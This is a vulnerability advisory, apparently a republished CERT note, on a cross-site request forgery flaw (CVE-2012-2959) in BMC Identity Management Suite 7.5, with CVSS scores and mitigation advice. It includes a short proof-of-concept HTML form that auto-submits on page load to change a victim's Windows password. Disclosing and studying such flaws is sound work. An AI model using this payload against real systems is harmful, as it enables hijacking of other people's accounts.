Executive Summary

This Alert is flagged as TOP 25 Common Weakness Enumeration from CWE/SANS. For more information, you can read this.
Title BMC Identity Management Suite cross-site request forgery vulnerability
Name VU#221180 First vendor Publication 2012-06-11
Vendor VU-CERT Last vendor Modification 2012-06-11
Severity (Vendor) N/A Revision M

Security-Database Scoring CVSS v3

Cvss vector : N/A
Overall CVSS Score NA
Base Score NA Environmental Score NA
impact SubScore NA Temporal Score NA
Exploitabality Sub Score NA
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Security-Database Scoring CVSS v2

Cvss vector : (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Cvss Base Score 5.1 Attack Range Network
Cvss Impact Score 6.4 Attack Complexity High
Cvss Expoit Score 4.9 Authentication None Required
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Vulnerability Note VU#221180

BMC Identity Management Suite cross-site request forgery vulnerability

Original Release date: 11 Jun 2012 | Last revised: 11 Jun 2012


BMC Identity Management Suite v7.5.00.103 and possibility other versions are vulnerable to cross-site request forgery vulnerabilities.


CWE-352: Cross-Site Request Forgery (CSRF):

It has been reported that BMC Identity Management Suite v7.5.00.103 and possibility other versions are vulnerable to cross-site request forgery in the user web interface.

Proof of concept to change a victims Windows password:

    <html><head><title>BMC IDM Change PW CSRF PoC</title></head>

    <body onload="document.getElementById('CSRF').submit()">

    <form action="
    https://xxx.xxx.xxx.xxx/idm/password-manager/changePasswords.do"; method="post"

    <input type="hidden" name="colChkbx_Tab1" value="CN=Test User,OU=User
    Accounts,DC=corporate,DC=business,DC=com corporate Win2000" />
    <input type="hidden" name="password" value="Abc123!" />
    <input type="hidden" name="passwordAgain" value="Abc123!" />
    <input type="hidden" name="selAccts" value="CN=user Name,OU=User
    Accounts,DC=corporate,DC=business,DC=com corporate Win2000" />



An unauthenticated attacker could trick a victim into clicking on a malicious link that could change any passwords managed by the BMC Identity Management Suite if the victim has a current logged in session on the web interface.


We are currently unaware of a practical solution to this problem.

Restrict access

As a general good security practice, only allow connections from trusted hosts and networks. Note that restricting access does not prevent XSS or CSRF attacks since the attack comes as an HTTP request from a legitimate user's host. Restricting access would prevent an attacker from accessing the BMC Identity Management Suite web interface using stolen credentials from a blocked network location.

Vendor Information (Learn More)

VendorStatusDate NotifiedDate Updated
BMC Software IncAffected-11 Jun 2012
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  • http://cwe.mitre.org/data/definitions/352.html
  • http://www.bmc.com/products/offering/Identity-Management.html


Thanks to Travis Lee for reporting this vulnerability.

This document was written by Michael Orlando.

Other Information

  • CVE IDs:CVE-2012-2959
  • Date Public:11 Jun 2012
  • Date First Published:11 Jun 2012
  • Date Last Updated:11 Jun 2012
  • Document Revision:11


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Original Source

Url : http://www.kb.cert.org/vuls/id/221180

CWE : Common Weakness Enumeration

% Id Name
100 % CWE-352 Cross-Site Request Forgery (CSRF) (CWE/SANS Top 25)

CPE : Common Platform Enumeration

Application 1